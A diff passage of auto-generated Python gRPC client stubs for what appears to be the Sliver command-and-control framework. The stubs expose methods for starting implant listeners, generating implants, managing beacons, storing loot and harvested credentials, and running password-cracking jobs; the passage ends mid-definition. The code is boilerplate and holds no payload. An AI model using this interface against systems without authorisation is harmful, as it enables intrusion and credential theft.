+ @staticmethod
+ def GetVersion(request,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/GetVersion',
+ commonpb_dot_common__pb2.Empty.SerializeToString,
+ clientpb_dot_client__pb2.Version.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def ClientConsoleLog(request_iterator,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.stream_unary(request_iterator, target, '/rpcpb.SliverRPC/ClientConsoleLog',
+ clientpb_dot_client__pb2.ClientConsoleLogData.SerializeToString,
+ commonpb_dot_common__pb2.Empty.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def GetOperators(request,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/GetOperators',
+ commonpb_dot_common__pb2.Empty.SerializeToString,
+ clientpb_dot_client__pb2.Operators.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def Kill(request,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/Kill',
+ sliverpb_dot_sliver__pb2.KillReq.SerializeToString,
+ commonpb_dot_common__pb2.Empty.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def Reconfigure(request,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/Reconfigure',
+ sliverpb_dot_sliver__pb2.ReconfigureReq.SerializeToString,
+ sliverpb_dot_sliver__pb2.Reconfigure.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def Rename(request,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/Rename',
+ clientpb_dot_client__pb2.RenameReq.SerializeToString,
+ commonpb_dot_common__pb2.Empty.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def GetSessions(request,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/GetSessions',
+ commonpb_dot_common__pb2.Empty.SerializeToString,
+ clientpb_dot_client__pb2.Sessions.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def GetBeacons(request,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/GetBeacons',
+ commonpb_dot_common__pb2.Empty.SerializeToString,
+ clientpb_dot_client__pb2.Beacons.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def GetBeacon(request,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/GetBeacon',
+ clientpb_dot_client__pb2.Beacon.SerializeToString,
+ clientpb_dot_client__pb2.Beacon.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def RmBeacon(request,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/RmBeacon',
+ clientpb_dot_client__pb2.Beacon.SerializeToString,
+ commonpb_dot_common__pb2.Empty.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def GetBeaconTasks(request,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/GetBeaconTasks',
+ clientpb_dot_client__pb2.Beacon.SerializeToString,
+ clientpb_dot_client__pb2.BeaconTasks.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def GetBeaconTaskContent(request,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/GetBeaconTaskContent',
+ clientpb_dot_client__pb2.BeaconTask.SerializeToString,
+ clientpb_dot_client__pb2.BeaconTask.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def CancelBeaconTask(request,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/CancelBeaconTask',
+ clientpb_dot_client__pb2.BeaconTask.SerializeToString,
+ clientpb_dot_client__pb2.BeaconTask.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def MonitorStart(request,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/MonitorStart',
+ commonpb_dot_common__pb2.Empty.SerializeToString,
+ commonpb_dot_common__pb2.Response.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def MonitorStop(request,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/MonitorStop',
+ commonpb_dot_common__pb2.Empty.SerializeToString,
+ commonpb_dot_common__pb2.Empty.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def GetJobs(request,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/GetJobs',
+ commonpb_dot_common__pb2.Empty.SerializeToString,
+ clientpb_dot_client__pb2.Jobs.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def KillJob(request,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/KillJob',
+ clientpb_dot_client__pb2.KillJobReq.SerializeToString,
+ clientpb_dot_client__pb2.KillJob.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def StartMTLSListener(request,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/StartMTLSListener',
+ clientpb_dot_client__pb2.MTLSListenerReq.SerializeToString,
+ clientpb_dot_client__pb2.MTLSListener.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def StartWGListener(request,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/StartWGListener',
+ clientpb_dot_client__pb2.WGListenerReq.SerializeToString,
+ clientpb_dot_client__pb2.WGListener.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def StartDNSListener(request,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/StartDNSListener',
+ clientpb_dot_client__pb2.DNSListenerReq.SerializeToString,
+ clientpb_dot_client__pb2.DNSListener.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def StartHTTPSListener(request,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/StartHTTPSListener',
+ clientpb_dot_client__pb2.HTTPListenerReq.SerializeToString,
+ clientpb_dot_client__pb2.HTTPListener.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def StartHTTPListener(request,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/StartHTTPListener',
+ clientpb_dot_client__pb2.HTTPListenerReq.SerializeToString,
+ clientpb_dot_client__pb2.HTTPListener.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def StartTCPStagerListener(request,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/StartTCPStagerListener',
+ clientpb_dot_client__pb2.StagerListenerReq.SerializeToString,
+ clientpb_dot_client__pb2.StagerListener.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def StartHTTPStagerListener(request,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/StartHTTPStagerListener',
+ clientpb_dot_client__pb2.StagerListenerReq.SerializeToString,
+ clientpb_dot_client__pb2.StagerListener.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def LootAdd(request,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/LootAdd',
+ clientpb_dot_client__pb2.Loot.SerializeToString,
+ clientpb_dot_client__pb2.Loot.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def LootRm(request,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/LootRm',
+ clientpb_dot_client__pb2.Loot.SerializeToString,
+ commonpb_dot_common__pb2.Empty.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def LootUpdate(request,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/LootUpdate',
+ clientpb_dot_client__pb2.Loot.SerializeToString,
+ clientpb_dot_client__pb2.Loot.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def LootContent(request,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/LootContent',
+ clientpb_dot_client__pb2.Loot.SerializeToString,
+ clientpb_dot_client__pb2.Loot.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def LootAll(request,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/LootAll',
+ commonpb_dot_common__pb2.Empty.SerializeToString,
+ clientpb_dot_client__pb2.AllLoot.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def Creds(request,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/Creds',
+ commonpb_dot_common__pb2.Empty.SerializeToString,
+ clientpb_dot_client__pb2.Credentials.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def CredsAdd(request,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/CredsAdd',
+ clientpb_dot_client__pb2.Credentials.SerializeToString,
+ commonpb_dot_common__pb2.Empty.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def CredsRm(request,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/CredsRm',
+ clientpb_dot_client__pb2.Credentials.SerializeToString,
+ commonpb_dot_common__pb2.Empty.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def CredsUpdate(request,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/CredsUpdate',
+ clientpb_dot_client__pb2.Credentials.SerializeToString,
+ commonpb_dot_common__pb2.Empty.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def GetCredByID(request,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/GetCredByID',
+ clientpb_dot_client__pb2.Credential.SerializeToString,
+ clientpb_dot_client__pb2.Credential.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def GetCredsByHashType(request,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/GetCredsByHashType',
+ clientpb_dot_client__pb2.Credential.SerializeToString,
+ clientpb_dot_client__pb2.Credentials.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def GetPlaintextCredsByHashType(request,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/GetPlaintextCredsByHashType',
+ clientpb_dot_client__pb2.Credential.SerializeToString,
+ clientpb_dot_client__pb2.Credentials.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def CredsSniffHashType(request,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/CredsSniffHashType',
+ clientpb_dot_client__pb2.Credential.SerializeToString,
+ clientpb_dot_client__pb2.Credential.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def Hosts(request,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/Hosts',
+ commonpb_dot_common__pb2.Empty.SerializeToString,
+ clientpb_dot_client__pb2.AllHosts.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def Host(request,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/Host',
+ clientpb_dot_client__pb2.Host.SerializeToString,
+ clientpb_dot_client__pb2.Host.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def HostRm(request,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/HostRm',
+ clientpb_dot_client__pb2.Host.SerializeToString,
+ commonpb_dot_common__pb2.Empty.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def HostIOCRm(request,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/HostIOCRm',
+ clientpb_dot_client__pb2.IOC.SerializeToString,
+ commonpb_dot_common__pb2.Empty.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def Generate(request,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/Generate',
+ clientpb_dot_client__pb2.GenerateReq.SerializeToString,
+ clientpb_dot_client__pb2.Generate.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def GenerateExternal(request,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/GenerateExternal',
+ clientpb_dot_client__pb2.ExternalGenerateReq.SerializeToString,
+ clientpb_dot_client__pb2.ExternalImplantConfig.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def GenerateExternalSaveBuild(request,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/GenerateExternalSaveBuild',
+ clientpb_dot_client__pb2.ExternalImplantBinary.SerializeToString,
+ commonpb_dot_common__pb2.Empty.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def GenerateExternalGetImplantConfig(request,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/GenerateExternalGetImplantConfig',
+ clientpb_dot_client__pb2.ImplantConfig.SerializeToString,
+ clientpb_dot_client__pb2.ExternalImplantConfig.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def BuilderRegister(request,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.unary_stream(request, target, '/rpcpb.SliverRPC/BuilderRegister',
+ clientpb_dot_client__pb2.Builder.SerializeToString,
+ clientpb_dot_client__pb2.Event.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def BuilderTrigger(request,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/BuilderTrigger',
+ clientpb_dot_client__pb2.Event.SerializeToString,
+ commonpb_dot_common__pb2.Empty.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def Builders(request,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/Builders',
+ commonpb_dot_common__pb2.Empty.SerializeToString,
+ clientpb_dot_client__pb2.Builders.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def CrackstationRegister(request,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.unary_stream(request, target, '/rpcpb.SliverRPC/CrackstationRegister',
+ clientpb_dot_client__pb2.Crackstation.SerializeToString,
+ clientpb_dot_client__pb2.Event.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def CrackstationTrigger(request,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/CrackstationTrigger',
+ clientpb_dot_client__pb2.Event.SerializeToString,
+ commonpb_dot_common__pb2.Empty.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def CrackstationBenchmark(request,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/CrackstationBenchmark',
+ clientpb_dot_client__pb2.CrackBenchmark.SerializeToString,
+ commonpb_dot_common__pb2.Empty.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def Crackstations(request,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/Crackstations',
+ commonpb_dot_common__pb2.Empty.SerializeToString,
+ clientpb_dot_client__pb2.Crackstations.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def CrackTaskByID(request,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/CrackTaskByID',
+ clientpb_dot_client__pb2.CrackTask.SerializeToString,
+ clientpb_dot_client__pb2.CrackTask.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def CrackTaskUpdate(request,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/CrackTaskUpdate',
+ clientpb_dot_client__pb2.CrackTask.SerializeToString,
+ commonpb_dot_common__pb2.Empty.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def CrackFilesList(request,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/CrackFilesList',
+ clientpb_dot_client__pb2.CrackFile.SerializeToString,
+ clientpb_dot_client__pb2.CrackFiles.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def CrackFileCreate(request,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/CrackFileCreate',
+ clientpb_dot_client__pb2.CrackFile.SerializeToString,
+ clientpb_dot_client__pb2.CrackFile.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def CrackFileChunkUpload(request,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/CrackFileChunkUpload',
+ clientpb_dot_client__pb2.CrackFileChunk.SerializeToString,
+ commonpb_dot_common__pb2.Empty.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def CrackFileChunkDownload(request,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/CrackFileChunkDownload',
+ clientpb_dot_client__pb2.CrackFileChunk.SerializeToString,
+ clientpb_dot_client__pb2.CrackFileChunk.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def CrackFileComplete(request,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/CrackFileComplete',
+ clientpb_dot_client__pb2.CrackFile.SerializeToString,
+ commonpb_dot_common__pb2.Empty.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def CrackFileDelete(request,
+ target,
+ options=(),
+ channel_credentials=None,
